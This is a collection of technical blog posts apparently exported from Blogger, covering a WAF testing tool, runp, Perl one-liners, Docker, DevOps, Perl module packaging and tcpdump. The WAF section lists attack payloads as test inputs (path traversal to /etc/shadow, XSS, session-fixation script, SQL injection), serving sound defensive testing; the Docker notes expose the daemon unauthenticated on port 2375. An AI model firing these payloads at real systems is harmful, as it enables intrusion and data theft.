OK Path traversal GET http://localhost/get-files?file=/../../../../etc/shadow
OK XSS GET http://localhost/?<script>
OK Session fixation GET http://localhost/foo.php?bar=blah%3Cscript%3Edocument.cookie=%22sessionid=1234;%20domain=.example.dom%22;%3C/script%3E</code></pre>
<p>So what are these tests. They are basically HTTP requests and
expected responses represented in YAML format. For example:</p>
<pre><code>$ waf-tester -template
tests:
- test_title: SQLi
stages:
- stage:
input:
headers:
User-Agent: waf-tester
method: GET
uri: ?id=1'%20or%20'1'%20=%20'
data: []
output:
status:
- 403
<...snip...></code></pre>
<p>This means that <code>waf-tester</code> will make a GET request with
this URL
<code><scheme>://<host>/?id=1'%20or%20'1'%20=%20'</code>
(<code>scheme</code> and <code>host</code> are command line flags) and
it will expect status 403 in the response. If this expectation proves
true the test passed (<code>OK</code>). Otherwise it failed
(<code>FAIL</code>).</p>
<p>There exist additional <code>input</code> and <code>output</code>
fields. You can use different methods, insert custom headers or instead
of checking the request status code you can check the WAF logs.</p>
<p>The YAML format is based on <a
href="https://github.com/CRS-support/ftw/blob/master/docs/YAMLFormat.md">FTW</a>
but some fields are missing. Others, like <code>dest_addr</code>, are
ignored. See the <a
href="https://github.com/jreisinger/waf-tester/blob/master/wafyaml/types.go">code</a>
for details.</p>
<h2 id="commit-and-push-the-changes">Commit and push the changes</h2>
<p>To make permanent changes you modify the WAF’s
<code>Dockerfile</code> and/or related configuration files.</p>
<h2 id="practical-example-adding-a-waf-rule">Practical example: adding a
WAF rule</h2>
<p>WAF rules (or signatures) is what helps WAFs to distinguish between
legitimate and malicious requests. Let’s say that I want to run some
tests against a <a href="https://github.com/nbs-system/naxsi">NAXSI</a>
WAF with default rules. To run this WAF locally:</p>
<pre><code>$ waf-runner waf/nginx/naxsi
<...snip...></code></pre>
<p><code>waf/nginx/naxsi</code> folder contains the
<code>Dockerfile</code> and all needed files like
<code>nginx.conf</code>, <code>naxsi.conf</code> and
<code>naxsi_core.rules</code> that get copied into the container.</p>
<p>Let’s adapt one of the <a
href="https://github.com/coreruleset/ftw">FTW</a> tests</p>
<pre><code>$ cat 913120-2.yaml
tests:
- test_title: 913120-2
desc: IBM fingerprint from (http://www-01.ibm.com/support/docview.wss?uid=swg21293132)
stages:
- stage:
input:
uri: /AppScan_fingerprint/MAC_ADDRESS_01234567890.html?9ABCDG1
output:
status: [403]</code></pre>
<p>and run the test against the WAF:</p>
<pre><code>$ waf-tester -tests 913120-2.yaml -verbose
FAIL 913120-2 http://localhost/AppScan_fingerprint/MAC_ADDRESS_01234567890.html?9ABCDG1
DESC IBM fingerprint from (http://www-01.ibm.com/support/docview.wss?uid=swg21293132)
FILE 913120-2.yaml
STATUS 404 Not Found
CODE 404
EXP_CODES [403]
EXP_LOGS
EXP_NOLOGS
EXP_ERR false
ERROR <nil>
DATA []
HEADERS
waf-tester-id: 64502ec0-7468-b872-4793-b63bdb8bc9e9
LOGS </code></pre>
<p>You can see a <code>FAIL</code> status. This means that the WAF
didn’t block this request. As you can see the test expected 403 code
(<code>EXP_CODES</code>) but got 404 (<code>CODE</code>). That’s why it
failed.</p>
<p>Let’s try to add (a rather naïve) custom WAF rule to fix the failing
test:</p>
<pre><code># nginx/naxsi/naxsi_custom.rules
BasicRule "str:9ABCDG1" "msg:FTW 913120-2" "mz:ARGS" "s:$UWA:4" id:10002;</code></pre>
<p>Now rebuild the WAF container: hit <code>Ctrl-C</code> in the first
terminal and run <code>waf-runner waf/nginx/naxsi</code> again. When we
re-run the test we can see it’s <code>OK</code> now.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-11840210908246264602019-12-18T21:15:00.004+01:002024-02-24T15:47:10.728+01:00runp: run commands in parallel<p>I’m using shell (bash specifically) on daily basis. From time to time
a need arises to run multiple commands in parallel. For example my <a
href="https://github.com/jreisinger/dotfiles/blob/master/.bashrc">.bashrc</a>
runs commands like these to download or clone vim plugins I use:</p>
<pre><code>curl -L -o $HOME/.git-completion.bash https://raw.githubusercontent.com/git/git/master/contrib/completion/git-completion.bash
rm -rf $HOME/.vim/pack/plugins/start/grep.vim && git clone https://github.com/yegappan/grep.git $HOME/.vim/pack/plugins/start/grep.vim
# https://tpaschalis.github.io/vim-go-setup/
rm -rf $HOME/.vim/pack/plugins/start/vim-go && git clone https://github.com/fatih/vim-go.git $HOME/.vim/pack/plugins/start/vim-go</code></pre>
<p>The problem is that these commands run sequentially and it takes a
while until they are done. I was thinking of a way how to speed them up.
So to scratch my itch I came up with <a
href="https://github.com/jreisinger/runp">runp</a>.</p>
<h2 id="why-and-how-to-use-it">Why and how to use it</h2>
<p>Now I can run those commands (I stored them in
<code>install-my-stuff.txt</code>) in parallel:</p>
<p><a href="https://asciinema.org/a/288718"><img
src="https://asciinema.org/a/288718.svg" alt="asciicast" /></a></p>
<p>Let’s see how much time did I save:</p>
<pre><code>$ time bash install-my-stuff.txt
<...>
real 0m15.690s
user 0m3.440s
sys 0m0.902s
$ time runp install-my-stuff.txt
<...>
real 0m3.678s
user 0m3.904s
sys 0m0.880s</code></pre>
<p>Hmm, around 12 seconds. Not bad I think :-).</p>
<p>If you don’t want <code>runp</code> to add any output of its own
(that is sent to stderr by the way) use the <code>-q</code> flag to
quiet it:</p>
<pre><code>$ runp -q install-my-stuff.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 70071 100 70071 0 0 145k 0 --:--:-- --:--:-- --:--:-- 145k
Cloning into '/home/reisinge/.vim/pack/plugins/start/vim-go'...
Cloning into '/home/reisinge/.vim/pack/plugins/start/grep.vim'...</code></pre>
<h2 id="how-to-install-it">How to install it</h2>
<p><code>runp</code> is easy to install. It’s a single binary that you
download and make executable:</p>
<pre><code># choose your system and architecture
export SYS=linux # or darwin
export ARCH=amd64 # or arm
# download it an make it executable
curl -L https://github.com/jreisinger/runp/releases/latest/download/runp-$SYS-$ARCH -o ~/bin/runp
chmod u+x ~/bin/runp</code></pre>
<h2 id="more-examples">More examples</h2>
<p>The commands to execute can be supplied also via stdin. It means that
<code>runp</code> can be used within pipelines like this one:</p>
<pre><code>$ for dir in $HOME /etc /tmp; do echo sudo "du -sh $dir"; done | runp -q | sort -h
13M /tmp
17M /etc
370G /home/reisinge</code></pre>
<p>Here we generate the commands to run in a bash for-loop. Then we pipe
the commands into <code>runp</code>. Finally the <code>runp</code>’s
output (stdout) is sorted.</p>
<p>We can simplify by using the <code>-p</code> flag which adds a prefix
string to the final command that will be run:</p>
<pre><code>$ echo -e "$HOME\n/etc\n/tmp" | runp -q -p 'sudo du -sh' | sort -h
13M /tmp
17M /etc
370G /home/reisinge</code></pre>
<p>The final example shows how to find open ports from a list of hosts
and ports:</p>
<pre><code>cat << EOF > /tmp/host-port.txt
localhost 22
localhost 80
localhost 81
127.0.0.1 443
127.0.0.1 444
scanme.nmap.org 22
scanme.nmap.org 23
scanme.nmap.org 443
EOF
cat /tmp/host-port.txt | runp -q -p 'nc -v -w2 -z' 2>&1 | egrep '(succeeded!|open)$'</code></pre>
<p>You can find the source code and more examples <a
href="https://github.com/jreisinger/runp">here</a>.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-38865977187660901402018-09-26T10:46:00.005+02:002024-02-24T15:22:22.385+01:00Perl one-liners<p><img
src="https://user-images.githubusercontent.com/1047259/222774261-22c055b2-caee-492a-8456-79349e2c82b8.png" /></p>
<p>I think Perl one-liners are still super useful. They are small <a
href="https://www.perl.org/">Perl</a> programs that are run directly
from command line. Like this one from the Kubernetes <a
href="https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/#running-an-example-job">job</a>
documentation:</p>
<pre><code>perl -Mbignum=bpi -wle 'print bpi(2000)' # calculate PI to 2000 digits</code></pre>
<p><code>perl</code> is the Perl language interpreter. <code>-M</code>
and <code>-wle</code> are command line switches (or flags or options)
that modify the <code>perl</code>’s behaviour. See below for explanation
of what they mean. The string within the quotes is the Perl code that
gets executed. In this case it uses the <code>bpi</code> subroutine from
the <a href="https://perldoc.perl.org/bignum.html">bignum</a> module to
calculate the PI with accuracy of 2000 digits. The command will take a
while to finish.</p>
<h2 id="switches">Switches</h2>
<p>These are some of the most used command line switches:</p>
<ul>
<li><code>-e '<code>'</code> – <strong>e</strong>xecute
<code><code></code></li>
<li><code>-E '<code>'</code> – <strong>E</strong>xecute
<code><code></code> enabling new <a
href="http://perldoc.perl.org/feature.html">feature</a>s for your
version of Perl</li>
<li><code>-w</code> – enable <strong>w</strong>arnings (generally
advisable)</li>
<li><code>-p</code> – loop through lines, reading and
<strong>p</strong>rinting them (in-script equivalent:
<code>while (<>) { [<code>] print }</code>)</li>
<li><code>-n</code> – loop through lines, reading but
<strong>n</strong>ot printing them</li>
<li><code>-l</code> – print a new<strong>l</strong>ine (<code>$/</code>
actually) after each line of output and chomp input newlines if used
with <code>-n</code> or <code>-p</code></li>
<li><code>-i[<.ext>]</code> – edit files
<strong>i</strong>n-place, optionally create backups with
<code><.ext></code> extension</li>
<li><code>-a</code> – <strong>a</strong>utosplit the <code>$_</code>
default variable into <code>@F</code> array (space is the default
separator, change it with <code>-F</code>, ex. <code>-F:</code>)</li>
<li><code>-M<module>[=<subroutine>,...]</code> – load
subroutine(s) from a <strong>M</strong>odule</li>
</ul>
<p>See <a href="http://perldoc.perl.org/perlrun.html">perlrun</a> for
more.</p>
<h2 id="cut">Cut</h2>
<p>Cut out 2nd and 1st space separated field (column):</p>
<pre><code>$ cat birthdays.txt
2890-09-22 Bilbo Baggins
2968-09-22 Frodo Baggins
$ perl -wlane 'print join " ", @F[1,0]' birthdays.txt
Bilbo 2890-09-22
Frodo 2968-09-22</code></pre>
<p>The field numbering starts at 0. We use <a
href="https://perldoc.perl.org/functions/join">join</a> to put a space
between the cut out fields.</p>
<h2 id="search">Search</h2>
<p>Find lines in logs that contain error or warning:</p>
<pre><code>perl -wne '/error|warning/i && print' /var/log/*.log</code></pre>
<p>The thing between slashes is a <a
href="https://perldoc.perl.org/perlre.html">regular expression</a>. It
means match string <code>error</code> or string <code>warning</code>
anywhere in the log line. <code>i</code> says to Perl to ignore the
case. So it will match ERROR, error, Warning etc. If the regex finds a
match (i.e. evaluates to true) the <code>&&</code> logical
operator runs the <code>print</code> statement that will print the line
containing the match.</p>
<p>Get IP addresses from logs:</p>
<pre><code>journalctl --since "00:00" | perl -wlne '/((?:\d{1,3}\.){3}\d{1,3})/ && print $1' | \
sort | uniq > /tmp/ips.txt</code></pre>
<p>The IP address regex explained:</p>
<pre><code>( # capturing parenthesis to be retrieved via $1
(?: # non capturing parenthesis, only for grouping
\d{1,3} # one to three decimal numbers
\. # literal dot
){3} # three times all within innermost parenthesis
\d{1,3} # one to three decimal numbers
) </code></pre>
<p>For a more serious program where you want to cover possible edge
cases you should use a well tested module <a
href="https://metacpan.org/pod/Regexp::Common">Regexp::Common</a> as
suggested by <a
href="https://perlmonks.org/?node_id=11127622">PerlMonks</a>.</p>
<h2 id="replace">Replace</h2>
<p>Replace <code>/bin/sh</code> with <code>/bin/bash</code> and emit the
transformed passwd file to STDOUT:</p>
<pre><code>perl -wpe 's#/bin/sh$#/bin/bash#' /etc/passwd</code></pre>
<p>We used <code>#</code> instead of <code>/</code> as delimeter for
better readibility since the strings themselves contain slashes.
<code>$</code> means end of the string.</p>
<p>Replace <code>colour</code> with <code>color</code> in all text
files. The original files will be kept with <code>.bak</code>
suffix:</p>
<pre><code>perl -i.bak -wpe 's/colour/color/g' *.txt</code></pre>
<p><code>g</code> (global) means replace all occurences in a string not
just the first one.</p>
<p>Convert between DOS and Unix newline:</p>
<pre><code>perl -i -wpe 's/\r//' <file1> <file2> ... # dos-to-unix
perl -i -wpe 's/$/\r/' <file1> <file2> ... # unix-to-dos</code></pre>
<h2 id="calculate">Calculate</h2>
<p>Calculate the total size of log files older than 30 days:</p>
<pre><code>find /opt/splunk/syslog/ -iname "*log*" -type f -mtime +30 | \
perl -wlne '$sum += (stat)[7]}{print $sum'</code></pre>
<p>The <a href="https://perldoc.perl.org/functions/stat.html">stat</a>
function returns a 13-element list of status info about a file. We take
the 8th element (with index <code>7</code>) which is the size of a file.
We loop over the found files and add the size of each into the
<code>$sum</code> variable. The handy <a
href="http://www.catonmat.net/blog/secret-perl-operators/#eskimo">Eskimo
Greeting Operator</a> is for printing the <code>$sum</code> when the
loop is over (suggested by <a
href="http://www.perlmonks.org/?node_id=1172707">PerlMonks</a>).</p>
<h2 id="more">More</h2>
<p><a
href="https://catonmat.net/ftp/perl1line.txt">perl1line.txt</a></p>
<p>For a deeper dive see <a
href="http://www.catonmat.net/blog/perl-one-liners-explained-part-one/">Famous
Perl One-Liners Explained</a>. If you want a book have a look at <a
href="http://www.amazon.com/Minimal-Perl-UNIX-Linux-People/dp/1932394508/ref=sr_1_1?ie=UTF8&qid=1358096838&sr=8-1&keywords=minimal+perl+for+unix">Minimal
Perl for UNIX and Linux People</a>.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-67063160246683578712018-02-28T11:08:00.000+01:002024-02-24T15:47:20.689+01:00Quick Docker<p>(Up-to-date <a href="https://github.com/jreisinger/blog/blob/master/posts/docker.md">source</a> of this post.)</p>
<p>Docker is a container technology. It's a well timed fusion of</p>
<ul>
<li>kernel features</li>
<li>filesystem tricks</li>
<li>networking hacks</li>
</ul>
<p>Think of a container not as a virtual machine but a very lighweight wrapper
around a single Unix <em>process</em>.</p>
<p>Docker revision controls</p>
<ol>
<li>filesystem layers</li>
<li>image tags</li>
</ol>
<h2>Terminology</h2>
<p>Docker server - the <code>docker</code> command run in daemon mode on a Linux host:</p>
<pre><code>$ sudo docker -d -H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375
</code></pre>
<p>Docker image - one or more filesystem layers and metadata that represent all
the files required to run a Dockerized application</p>
<p>Docker container - a Linux container that has been instantiated from a Docker
image</p>
<h2>Working with Docker images</h2>
<p>To launch a container</p>
<ul>
<li>download a public image</li>
<li>create your own</li>
</ul>
<p>To create a custom image you need a <code>Dockerfile</code> - each line in a Dockerfile creates a new image layer that is stored by Docker</p>
<p>Build an image:</p>
<pre><code>git clone https://github.com/spkane/docker-node-hello.git
cd docker-node-hello
docker build -t example/docker-node-hello:latest .
</code></pre>
<p>Run an image (or a container?):</p>
<pre><code>docker run -d -p 80:8080 example/docker-node-hello:latest
</code></pre>
<ul>
<li><code>-p 80:8080</code> tells Docker to proxy the container's port 80 on the host's port 8080 (port binding)</li>
<li><code>example/docker-node-hello:latest</code> is a tag</li>
</ul>
<p>Remove an image:</p>
<pre><code>docker images
docker rmi <image_id>
</code></pre>
<p>Remove all images on your Docker host:</p>
<pre><code>docker rmi $(docker images -q -)
</code></pre>
<h2>Working with Docker containers</h2>
<p>A container is a self-contained execution environment that shares the kernel of
the host system and which is (optionally) isolated from other containers in the
system.</p>
<p>Containers are a <em>Linux only</em> technology.</p>
<p>Create a container (see also "Run an image" above):</p>
<pre><code>docker run --rm -ti ubuntu /bin/bash
</code></pre>
<ul>
<li><code>run</code> - <code>create</code> + <code>start</code></li>
<li><code>--rm</code> - delete the container when it exits</li>
<li><code>-t</code> - allocate a pseudo-TTY</li>
<li><code>-i</code> - interactive session, e.i. keep STDIN open</li>
<li><code>/bin/bash</code> - executable to run within the container</li>
</ul>
<p>Get into a running container:</p>
<pre><code>docker ps
docker exec -it <container_id> /bin/bash
</code></pre>
<p>Stop a container:</p>
<pre><code>docker stop <container_id>
</code></pre>
<p>Remove a container:</p>
<pre><code>docker ps -a
docker rm <container_id>
</code></pre>
<p>Remove all containers on your Docker host:</p>
<pre><code>docker rm $(docker ps -a -q)
</code></pre>
<h2>Sources</h2>
<ul>
<li>Docker: Up & Running (2015)</li>
<li>Unix and Linux System Administration Handbook, 5th ed. (2017)</li>
</ul>
Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-11412201370392516452017-07-18T12:46:00.000+02:002024-02-24T15:22:22.384+01:00DevOps<p>(Up-to-date <a href="https://github.com/jreisinger/blog/blob/master/posts/devops.md">source</a> of this post.)</p>
<p>The opposite of DevOps is despair. -- Gene Kim</p>
<p>If HW and SW are sufficiently fault tolerant, the remaining problems are human. -- TPoCSA</p>
<hr />
<p>DevOps is a set of techniques to solve the chronic conflict between Development
an IT Operations. This conflict causes:</p>
<ul>
<li>increased time to market</li>
<li>problematic code deployments</li>
<li>increased number of Sev 1 outages</li>
<li>unplanned work</li>
<li>technical debt</li>
</ul>
<p>The techniques are:</p>
<ul>
<li>architecture and processes</li>
<li>technical practices</li>
<li>cultural norms</li>
</ul>
<p>DevOps is an emerging field in operations. The practice of DevOps typically appears in web application and cloud environments, but its influence is spreading to all parts of all industries.</p>
<p>The principles behind DevOps work patterns are the same principles that
transformed manufacturing.</p>
<p>DevOps has been formed by:</p>
<ul>
<li>Lean principles</li>
<li>Agile Community</li>
<li>infrastructure as code</li>
<li>CI, CD</li>
<li>Innovation Culture</li>
<li>Toyota Kata</li>
</ul>
<p>"The Three ways" are the underpinning principles that all the DevOps patterns
can be derived from.</p>
<h2 id="thefirstwayworkflowprocess">The First Way - workflow (process)</h2>
<p>What</p>
<ul>
<li>left-to-right flow of work from Dev to Ops to the customer</li>
<li>each step is done in a repeatable way</li>
<li>small batch sizes and intervals of works</li>
<li>never passing defects to downstream work centers</li>
<li>local optimization must not degrade global performance (optimmize for global goals)</li>
</ul>
<p>Practices</p>
<ul>
<li>continuous build, CI, CD</li>
<li>environments on demand</li>
<li>limiting WIP</li>
<li>building safe (to change) systems</li>
</ul>
<h2 id="thesecondwayfeedbackcommunication">The Second Way - feedback (communication)</h2>
<p>What</p>
<ul>
<li>constant flow of fast feedback from right-to-left at all stages of the values
stream</li>
</ul>
<p>Practices</p>
<ul>
<li>stopping the production line when builds/tests go wrong</li>
<li>constantly elevating the improvements of daily work over daily work</li>
<li>fast automated test suites</li>
<li>shared goals and shared pain between Devs and Ops</li>
<li>pervasive telemetry</li>
</ul>
<h2 id="thethirdwayexperimentationtryingnewthings">The Third Way - experimentation (trying new things)</h2>
<p>Culture that fosters:</p>
<ul>
<li>continual experimentation (risk taking and learning from success and failure)</li>
<li>understanding that repetition and practice is the prerequisite to mastery</li>
<li>faults are introduced into the system to increase resilience (fire drills)</li>
</ul>
<h2 id="devopswithoutdevs">DevOps without Devs</h2>
<p>It's possible to apply these DevOps principles to any complex process:</p>
<p>1) Turn chaotic processes into repeatable, measurable ones.</p>
<ul>
<li>document process until consistent => automate => self-service</li>
<li>don't do IT tasks but maintain the system that does the IT tasks</li>
</ul>
<p>2) Talk about problems and issues within and between teams.</p>
<ul>
<li>don't obscure or suffer through problems</li>
</ul>
<p>3) Try new things, measure the results, keep the successes, and learn from the failures.</p>
<ul>
<li>create a culture of learning and experimentation</li>
</ul>
<p>4) Do work in small batches so we can learn and pivot along the way.</p>
<ul>
<li>it's better to deliver some results each day than to hold back and deliver the entire result at the end</li>
<li>you'll get feedback and fix problems sooner and avoid too much waisted effort</li>
</ul>
<p>5) Drive configuration and infrastructure from machine readable sources kept under a source control system.</p>
<ul>
<li>IaC is flexible, testable and can benefit from software engineering techniques</li>
</ul>
<p>6) Always be improving.</p>
<ul>
<li>always be identifying the next big bottleneck and experiment to fix it</li>
<li>don't wait for a major disaster</li>
</ul>
<p>7) Pull, don't push.</p>
<ul>
<li>determine the desired weekly output, allocate resources, and pull the work through the system to completion</li>
</ul>
<p>8) Build community.</p>
<ul>
<li>you, your team, your company and world's IT community are interdependent</li>
</ul>
<h2 id="injectingmodernconceptsintolegacyprocesses">Injecting modern concepts into legacy processes</h2>
<p>1) Identify the team’s value streams — processes done for the business, or requested by the business.</p>
<p>2) Each step in the process needs to be clearly defined so that it can be done in a repeatable fashion. That is, a reasonably well-trained person should be able to do the step and the result will be the same as the result from another reasonably trained person.</p>
<p>3) Once the process is defined, amplify the feedback loops. That is, make sure each step has a way to raise the visibility of problems so that they are worked on, not ignored. Collect measurements on the length, frequency, and failure rate of the steps. Make this data available to all involved.</p>
<p>4) Based on the feedback find pain points (steps that are the most error prone, unreliable, or slow) and build business case</p>
<ul>
<li>What problem really needs to be solved?</li>
<li>Gather metrics showing how things can improve.</li>
<li>Make business case showing why we need change and what we will get. </li>
</ul>
<p>5) Find allies, share and collaborate</p>
<ul>
<li>Ex. find people outside your team who can benefit from the change.</li>
</ul>
<p>6) Start small and build from the bottom up</p>
<ul>
<li>Start with something easy to build confidence while working out issues.</li>
<li>Ex.: document => share documentation => automate (script) => automate more
(Jenkins, RunDeck)</li>
</ul>
<h2 id="source">Source</h2>
<ul>
<li><a href="https://itrevolution.com/book/the-phoenix-project/">The Phoenix Project</a></li>
<li><a href="http://the-sysadmin-book.com/">TPoSaNA</a></li>
<li><a href="http://the-cloud-book.com/">TPoCSA</a></li>
<li>http://sysadvent.blogspot.sk/2016/12/day-13-injecting-modern-concepts-into.html</li>
</ul>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-88822746334966943402016-10-17T20:46:00.000+02:002024-02-24T15:14:04.773+01:00Creating a Module::Build Distribution<p>(Up-to-date
<a href="https://github.com/jreisinger/blog/blob/master/posts/module-build.md">source</a>
of this post.)</p>
<h2>Creating a Module::Build Distribution</h2>
<p>We show here how to create a Perl distribution using <code>Module::Build</code> build system with <code>Module::Starter</code>. The other Perl build system (we don't show here) is <code>ExtUtils::MakeMaker</code>. For sophisticated distribution creation see <a href="http://dzil.org/">Dist::Zilla</a>.</p>
<p>Create config file <code>~/.module-starter/config</code>:</p>
<pre><code>author: Foo Bar
email: foo@bar.org
builder: Module::Build
verbose: 1
# Allow adding new modules to existing distro.
plugins: Module::Starter::AddModule
</code></pre>
<p>... or use <code>module-starter</code> (see below) with command line arguments like:</p>
<pre><code>--author="Foo Bar" \
--email=foo@bar.org \
--mb \
--verbose \
--plugin=Module::Starter::AddModule
</code></pre>
<p>Run basic commands</p>
<ul>
<li>install needed modules: <code>cpanm Module::Build Module::Starter Module::Starter::AddModule</code></li>
<li>create (a working skeleton of) module distribution: <code>module-starter --module=Animal</code> </li>
<li>change to the created distro directory: <code>cd Animal</code></li>
<li>create the <code>Build</code> script: <code>perl Build.PL</code></li>
<li>build the distro (modules from <code>lib</code> copied to <code>blib</code> staging area and embedded documenation translated into Unix manpage in <code>blib/libdoc</code>): <code>./Build</code></li>
<li>make sure the tests pass: <code>./Build test</code> (or run individual tests - see below)</li>
<li>test the distro: <code>./Build disttest</code></li>
<li>create the distro: <code>./Build dist</code></li>
</ul>
<p>Add modules</p>
<ul>
<li>add new modules: <code>module-starter --module=Sheep,Cow,Horse --dist=Animal</code></li>
<li>add new modules (we are inside our distribution directory): <code>module-starter --module=Sheep,Cow,Horse --dist=.</code></li>
</ul>
<p>Run individual tests</p>
<ul>
<li>rebuild distro and run test including modules from <code>blib/lib</code>: <code>./Build && perl -Iblib/lib -T t/Cow.t</code></li>
<li>rebuild distro and run test including modules from <code>blib/lib</code>: <code>./Build && perl -Mblib -T t/Cow.t</code></li>
</ul>
<p>Measure out test coverage</p>
<ul>
<li>run <code>testcover</code> target: <code>./Build testcover</code></li>
<li>turn the collected statistics into human-readable reports: <code>cover</code></li>
</ul>
<p>The following is a typical release cycle for github users:</p>
<ol>
<li>Work on changes until all tests pass</li>
<li>Make sure the <em>Changes</em> file documents all major changes</li>
<li>Make your changes atomic, all changes related to a particular fix or feature should go in a single commit, including the <em>Changes</em> entry.</li>
<li>Bump the version</li>
<li>Upload to PAUSE</li>
<li>Tag with the version. By convention for version 1.01 the tag would be 'v1.01'</li>
<li>Push to github</li>
</ol>
<p>For more see:</p>
<ul>
<li>Alpaca Book, Ch. 12</li>
<li><a href="http://blogs.perl.org/users/neilb/2016/04/the-perl-toolchain-developing-your-module.html">The Perl Toolchain: developing your module</a></li>
</ul>
Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-81159254929978645162016-09-12T21:33:00.000+02:002024-02-24T15:14:04.773+01:00Finding a Good CPAN Module<p>(Up-to-date
<a href="https://github.com/jreisinger/blog/blob/master/posts/finding-good-cpan-module.md">source</a>
of this post.)</p>
<p>Anyone can contribute to <a href="https://metacpan.org/">CPAN</a>. It is also pretty huge. This means you might want to separate the wheat from the chaff. To do that these hints might help:</p>
<ol>
<li><p>What's the code <strong>activity</strong>? The more the better.</p></li>
<li><p>How many <strong>issues</strong> do we have? The open bugs show community involvement, the closed ones are about the maintainer's diligence.</p></li>
<li><p>What aboout the quality and quantity of <strong>tests</strong> and their results.</p></li>
<li><p>Are there any reverse <strong>dependencies</strong> (they use the same basic principle as Google PageRank)? The more the better.</p></li>
<li><p>Follow the <strong>advice of experts</strong> in the Perl field, ex. <a href="https://metacpan.org/pod/Task::Kensho">Task::Kensho</a>.</p></li>
</ol>
<p>NOTE: don't check any of the hints above in isolation but all/more of them together.</p>
<p>Resources:</p>
<ul>
<li>https://www.usenix.org/system/files/login/articles/login<em>dec14</em>10_blank-edelman.pdf</li>
</ul>
Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-75185739692277134142016-05-17T10:05:00.000+02:002024-02-24T15:48:52.746+01:00tcpdump - standard Unix tool for analyzing network packets<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-fPh4wmPZK00/VzrQWUbO0FI/AAAAAAAAA_c/H-LX1gqarQ0TmYlW1szY2DWQ2wGRRMQQACLcB/s1600/210px-Tcpdump.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://1.bp.blogspot.com/-fPh4wmPZK00/VzrQWUbO0FI/AAAAAAAAA_c/H-LX1gqarQ0TmYlW1szY2DWQ2wGRRMQQACLcB/s320/210px-Tcpdump.png" /></a></div>
<p>(Up-to-date
<a href="https://github.com/jreisinger/blog/blob/master/posts/tcpdump.md">source</a>
of this post.)</p>
<ul>
<li>despite its name it can do much more than capturing TCP headers</li>
<li>can sniff traffic on many network types (including 802.1Q VLAN)</li>
<li>de facto standard for command line packet analysis in Unix environment</li>
</ul>
<p>Useful options:</p>
<p><code>-D</code> -- list available interfaces</p>
<p><code>-i INTERFACE</code> -- listen on INTERFACE (default: lowest numbered interface)</p>
<p><code>-w FILE</code> -- write raw packets to FILE</p>
<p><code>-r FILE</code> -- read packets from FILE</p>
<p><code>-nn</code> -- turn off host and protocol name resolution (to avoid generating DNS
packets)</p>
<p><code>-s0</code> -- set snaplength to 0, i.e. read the whole packet not just first 68
bytes (default if version >= 4.0)</p>
<p><code>-t</code> -- turn off timestamp entries</p>
<p><code>-c COUNT</code> -- capture COUNT packets and stop</p>
<p>Examples:</p>
<pre><code>tcpdump -nni eth1 -w packets.pcap
tcpdump -nnr packets.pcap
</code></pre>
<p>Output format will vary based upon what protocols are in use:</p>
<ul>
<li><p>TCP</p>
<pre><code>timestamp L3_protocol sIP.sPort > dIP.dPort: TCP_flags,
TCP_sequence_number, TCP_acknowledgement_number, TCP_windows_size,
data_length
</code></pre></li>
<li><p>UDP</p>
<pre><code>timestamp L3_protocol sIP.sPort > dIP.dPort: L4_protocol, data_length
</code></pre></li>
<li><p>use up to <code>-vvv</code> to provide more information on headers</p></li>
<li>use <code>-x</code> to get entire packets (including data not just headers) in hex format</li>
<li>use <code>-A</code> to get entire packets in hex and ASCII format</li>
<li>use <code>-X</code> to get entire packets in hex and ASCII format</li>
</ul>
<h1>Packet Filtering</h1>
<ul>
<li>utilizes the Berkeley Packet Filter (BPF) format</li>
<li><p>added to the end of the command (recommended to use single quotes)</p>
<pre><code>tcpdump -nnr packets.pcap 'tcp dst port 8080' -w packets_tcp8080.pcap
tcpdump -nnr packets.pcap -F known_good_hosts.bpf
</code></pre></li>
</ul>
<h2>BPF</h2>
<pre><code> operator
primitive | primitive
| | |
+---------+ | +----------------+
| | | | |
udp port 53 && dst host 192.0.2.2
| |
| value
qualifier
</code></pre>
<p>Qualifiers</p>
<ul>
<li>host</li>
<li>net - network in CIDR notation</li>
<li>port</li>
<li>src - communication source</li>
<li>dst - communication destination</li>
<li>ip - IP protocol</li>
<li>tcp - TCP protocol</li>
<li>upd - UPP protocol</li>
</ul>
<p>Logical operators</p>
<ul>
<li>&& - true when both conditions are true</li>
<li>|| - true when either condition is true</li>
<li>! - true when a condition is NOT met</li>
</ul>
<p>Examples</p>
<ul>
<li>host 192.0.2.100 - match traffic to/from 192.0.2.100</li>
<li>dst host 2001:db8:85a3::8a2e:370:7334 - match traffic to the IPv6 address</li>
<li>ether host 00:50:56:98:60:92 - match traffic to the specified MAC address</li>
<li>!port 22 - match any traffic not to/from port 22</li>
<li>icmp - match all ICMP traffic</li>
<li>!ip6 - match everything that is not IPv6</li>
</ul>
<hr />
<p>Resources</p>
<ul>
<li>Applied Network Security Monitoring</li>
</ul>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0